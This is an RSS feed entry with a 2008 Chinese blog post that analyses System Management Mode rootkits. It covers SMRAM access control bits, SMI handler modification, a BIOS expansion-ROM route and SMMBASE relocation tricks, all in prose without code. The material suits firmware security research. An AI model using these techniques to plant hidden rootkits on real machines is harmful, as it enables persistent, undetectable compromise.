		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>About the SMM rootkit</title>
		<link>http://www.softrce.net/archives/11</link>
		<comments>http://www.softrce.net/archives/11#comments</comments>
		<pubDate>Thu, 09 Oct 2008 10:59:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>

		<guid isPermaLink="false">http://174.132.145.120/~crackidz/archives/11</guid>
		<description><![CDATA[<p>这几天回上海搬家累坏了,回来北京也没什么好东西放出来,整理点以前的乱东西凑数 :)</p><p>其实SMM是早在97年就有的东西,我跟这个东西也算是有点渊源,之前在实验室做过一些关于这个的研究，但是远没有到rootkit的方向.之后在逛网站的时候发现一篇5.12时候的新闻:<a target="_blank" href="http://www.theregister.co.uk/2008/05/12/smm_rootkits/">Researchers dig into x86 chips for stealthier rootkits</a>...</p>
]]></description>
			<content:encoded><![CDATA[<p>这几天回上海搬家累坏了,回来北京也没什么好东西放出来,整理点以前的乱东西凑数 <img src='http://www.softrce.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <span id="more-11"></span></p>
<p>其实SMM是早在97年就有的东西,我跟这个东西也算是有点渊源,之前在实验室做过一些关于这个的研究，但是远没有到rootkit的方向.之后在逛网站的时候发现一篇5.12时候的新闻:<a href="http://www.theregister.co.uk/2008/05/12/smm_rootkits/" target="_blank">Researchers dig into x86 chips for stealthier rootkits</a>,然后才重新回头去看了这个东西,也隔天就写了篇分析.不过功力尚浅,很多东西在Win32平台到现在我实验着还是有问题的.</p>
<p>SMM类似ICE,ICE是一种硬件调试机制,也是深入到CPU级别的最根本的调试,但是ICE在Intel公司对CPU的改革过程中变成了现在的Branch Trace(tr12)<sub>[1]</sub>,而SMM也继承ICE的实现方式(但并不是直接的”复制”)独立成为新的机制,主要处理ACPI,详细的介绍看后面的[注]<sub>[2].</sub>AMD稍微显得逊色一些,之前的CPU版本可以利用XX软指令去改DR7,也就是说基本是ICE的直接复制.Intel也显示出优越性,一来Intel的SMM是不支持调试触发的,因为Intel把SMM和ICE分开了,再者Intel的SMM也不支持微处理器的指令触发,只能由硬件中断(CPU,ACPI)来引发.我也提到过一个很好的物理方法,就是用信号发生器和频率源去接芯片引脚&#8230; <img src='http://www.softrce.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>由于太过于依赖硬件,CPU的支持很大程度上决定了SMM的实现方式,而且不同的主板公司(主要是BIOS)也可以实现不同的SMI处理例程,在之前(2008.5.12)我个人觉得要做成rootkit还是有不少问题的.由于SMM的特殊性:CPU不管是怎么切换,由SMI进入SMM或者由RSM切回保护模式,都是悄然无声的,OS是”不知道”的.SMI handler是在POST的时候安装到SMRAM里的.要想rootkit,肯定要想办法遛进SMM.当时也很怀疑Sparks是不是要在类BSD系统上演示,因为相对来说,WIN32更加的困难,有很多的限制,一方面和硬件关联太多,一方面又要PIO操作权限又要内存操作权限,不好处理.</p>
<p>要在正常模式下做成rootkit,首先就要保证控制寄存器位的置位(D_OPEN),因为如果D_CLK位打上去的话,只读了,就失效了.想办法进SMRAM?HSEG(正常系统模式下,0xa0000-0xbffff这段内存是给某些显卡的)看起来remap也不那么简单,位被限制的很死,而且一旦到了Above段,更是一碰就挂&#8230;那就是想办法更改SMI Handler了,不过这个比较好检测,AV只要定时检查就能知道是不是有handler被修改了.要不然就是通过BIOS,那就更是多此一举,那么多驱动要BIOS CALL,可以修改BISO直接就搞了[思路上就是动比如bus0-dev1-func0-0x30/33这几个寄存器,PCI配置头它们指示的是expansion rom,会被map到比如0xC0000，刷进去，然后想办法hook int,10号或者其他号,10号想必大家都清楚,VGA小端口会调用比如Ke386CallBios交回控制权.这里还涉及一些VM86的东西,公开的未公开的.推荐一下VBEMP x86 Project <img src='http://www.softrce.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  做为副产品,你可以从里面得到关于以上东西的一些灵感.至于Re-flash,这个就不多说了,IO方法很多],但是通过BIOS也可以给SMM-RK做个引子.</p>
<p>不过既然Sparks要在BH上演示,也只好要拭目以待,可惜的是,她在BH上的演讲并没有什么让我觉得为之一亮的地方.因为在BH之前PHRACK爆出的一篇文章里把基本的内容都含盖了:<a href="http://www.phrack.com/issues.html?issue=65&amp;id=7#article" target="_blank">System Management Mode Hack</a> .</p>
<p>Paper里提到触发SMI是通过存取PCI配置寄存器(其实可以衍生出不少方法,比如APM.),类BSD系统上的.PIO 0xCF8-0xCFF,如果是新的PCI-Express MMIO更简单.Paper里只是简单提了下Code relocation,其实这个特性很强大.你可以修改state save map里的SMMBASE值,完成一些隐蔽工作.但是这里可能会有点问题,因为我在这里挂起了很多次.就是如果你需要装进DS,需要在SMM handler里自己从state save map里读出descriptor cache结构体的里CS段的地址值,shr 4后给DS,这样才是指向了重定位后的SMMBASE.其他的值也是一样,你可以修改CRx,CS,EIP,EFLAGS以及CPL(SS.DPL),来实现模式切换(这个很有价值). 关于中断,SMM处理中断并不像Intel手册说的.先看看paper里的2.4.2 &#8211; SMM Details这一小节,其实中断确实会被屏蔽,但是paper里的”To enable that is needed to issue the IRET/IRETD instructions” 是不对的, 至少我没成功,我的方法是设置硬件中断例程[timer kick]. 后面又提到code relocation后会出现很多莫名其妙的问题,其实这个和前里提到的一样, CS:IP也需要你手动修改,取SMRAM里的SS,CS值,shr 4然后push入栈,取esp,retf就可以了.</p>
<p>todo&#8230; (原文在: <a href="http://hi.baidu.com/gz1x">http://hi.baidu.com/gz1x</a>)</p>
<hr />注:</p>
<p>[1] <a href="http://bbs.pediy.com/showthread.php?t=66975" target="_blank">http://bbs.pediy.com/showthread.php?t=66975</a></p>
<p>[2] <a href="http://en.wikipedia.org/wiki/System_Management_Mode">http://en.wikipedia.org/wiki/System_Management_Mode</a></p>
<p><a href="http://www.biosren.com/thread-29-1-1.html">http://www.biosren.com/thread-29-1-1.html</a></p>
<p>[3] Nice Links:</p>
<p>[如何跟踪ACPI代码] <a href="http://advdbg.com/blogs/advdbg_system/articles/14.aspx">http://advdbg.com/blogs/advdbg_system/articles/14.aspx</a></p>
<hr />
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/15" rel="bookmark" title="Permanent Link: 构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器">构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器</a></li><li><a href="http://www.softrce.net/archives/12" rel="bookmark" title="Permanent Link: About Handling Nmi">About Handling Nmi</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2009年06月1日 -- <a href="http://www.softrce.net/archives/192" title="BEIH/F：总线枚举接口劫持/伪造">BEIH/F：总线枚举接口劫持/伪造</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/14" title="Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2010年03月1日 -- <a href="http://www.softrce.net/archives/288" title="Steve Jobs在斯坦福大学毕业典礼上的演讲">Steve Jobs在斯坦福大学毕业典礼上的演讲</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/114" title="Symbian S60 3rd Reverse CrAcKiNg Tutorial">Symbian S60 3rd Reverse CrAcKiNg Tutorial</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/11/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

